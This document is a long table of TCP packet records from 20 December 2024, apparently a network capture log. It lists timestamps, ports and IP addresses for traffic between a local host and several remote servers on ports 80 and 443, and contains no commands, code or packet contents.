Dec 20, 2024 04:12:31.195224047 CET	443	49830	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:31.195518017 CET	443	49830	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:31.196542025 CET	49829	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:31.196727037 CET	49829	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:31.196733952 CET	443	49829	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:31.197768927 CET	49830	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:31.197900057 CET	49830	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:31.197923899 CET	443	49830	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:31.197990894 CET	49830	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:31.197999954 CET	443	49830	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:31.844758987 CET	80	49831	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:31.844820976 CET	49831	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:31.846055984 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:31.846364021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:31.931265116 CET	443	49829	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:31.931412935 CET	443	49829	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:31.931462049 CET	49829	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:31.931593895 CET	49829	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:31.931611061 CET	443	49829	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:31.965841055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:31.965852976 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:31.965914011 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:31.965933084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:31.971549034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:32.091021061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:32.392090082 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:32.392175913 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:32.392477036 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:32.392824888 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:32.392910004 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:32.421364069 CET	443	49830	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:32.421454906 CET	443	49830	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:32.421611071 CET	49830	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:32.421634912 CET	49830	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:32.421647072 CET	443	49830	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:32.497714043 CET	49840	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:32.497807026 CET	443	49840	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:32.497909069 CET	49840	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:32.498449087 CET	49840	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:32.498481989 CET	443	49840	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:33.292701006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.292711020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.292718887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.292815924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.292824984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.292834997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.292866945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.292913914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.292913914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.292915106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.292996883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.293005943 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.293042898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.293064117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.293075085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.293123960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.293124914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.412678003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.412688971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.412764072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.416806936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.416871071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.416908979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.416961908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.425146103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.425209999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.484956980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.485160112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.485264063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.489001989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.489275932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.489336967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.497435093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.497555017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.497596979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.497639894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.505738974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.505810022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.505887985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.505945921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.514158964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.514218092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.514220953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.514273882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.522439957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.522502899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.522640944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.522695065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.530903101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.530983925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.531038046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.531091928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.539272070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.539369106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.539832115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.547635078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.547708988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.547823906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.547909021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.556030035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.556170940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.556246996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.563925028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.563997984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.564075947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.571782112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.571959019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.572038889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.613738060 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:33.613967896 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.615151882 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.615209103 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:33.615576029 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:33.628567934 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.629239082 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.629318953 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:33.629431963 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.629503012 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:33.629636049 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.629859924 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:33.630029917 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.630091906 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:33.630283117 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.630345106 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:33.630548954 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.630610943 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:33.630639076 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.630673885 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:33.630896091 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.630965948 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.671382904 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:33.671742916 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.671857119 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.671936035 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.676680088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.676736116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.676757097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.676826000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.678986073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.679060936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.679152966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.682578087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.682590008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.682636976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.687114000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.687169075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.687187910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.687239885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.691463947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.691533089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.691597939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.691648960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.695971966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.696024895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.696261883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.696311951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.700493097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.700545073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.700661898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.700712919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.704777002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.704842091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.704905987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.704953909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.709067106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.709116936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.709158897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.709208965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.713350058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.713402033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.713641882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.713691950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.715395927 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:33.715662956 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.715780973 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:33.717627048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.717684984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.717869043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.717921972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.720856905 CET	443	49840	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:33.720921040 CET	49840	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:33.721945047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.721999884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.722064972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.722111940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.722179890 CET	49840	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:33.722206116 CET	443	49840	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:33.722443104 CET	443	49840	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:33.723959923 CET	49840	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:33.724082947 CET	49840	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:33.724119902 CET	443	49840	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:33.726229906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.726253986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.726315022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.726315022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.730504990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.730564117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.730653048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.730706930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.734749079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.734808922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.734826088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.734857082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.739043951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.739103079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.739137888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.739181995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.743292093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.743372917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.743433952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.743504047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.747584105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.747725010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.747805119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.751939058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.751987934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.752026081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.752079010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.756263018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.756316900 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.756385088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.756531000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.759361982 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:33.760433912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.760528088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.760718107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.760776997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.765041113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.765052080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.765090942 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.765124083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.769032955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.769110918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.769196987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.769284964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.868637085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.868741035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.868863106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.868863106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.870368004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.870419979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.870451927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.870501995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.873857021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.873922110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.875070095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.875082016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.875123978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.875157118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.878496885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.878572941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.878607035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.878660917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.882091999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.882101059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.882153034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.882153034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.885327101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.885380030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.885402918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.885449886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.888468981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.888519049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.888654947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.888706923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.891638994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.891712904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.891787052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.892005920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.894700050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.894750118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.894783974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.894825935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.897916079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.897926092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.897964001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.900753975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.900808096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.900873899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.900918007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.903798103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.903870106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.903907061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.903991938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.906769991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.906821966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.906881094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.906929016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.909872055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.909888983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.909926891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.909955978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.912723064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.912779093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.912933111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.912986994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.915744066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.915796995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.915884972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.915935993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.918824911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.918879032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.918896914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.918950081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.921761990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.921828032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.921889067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.921940088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.924860954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.924871922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.924916029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.924947023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.927855015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.927905083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.927946091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.928066969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.930845022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.930902004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.930979013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.931054115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.933773041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.933854103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.933913946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.933962107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.936800003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.936853886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.936893940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.936935902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.939966917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.939977884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.940023899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.942878008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.942938089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.942955971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.943001986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.945779085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.945831060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.945921898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:33.946106911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:33.948853970 CET	80	49838	31.41.244.11	192.168.2.4
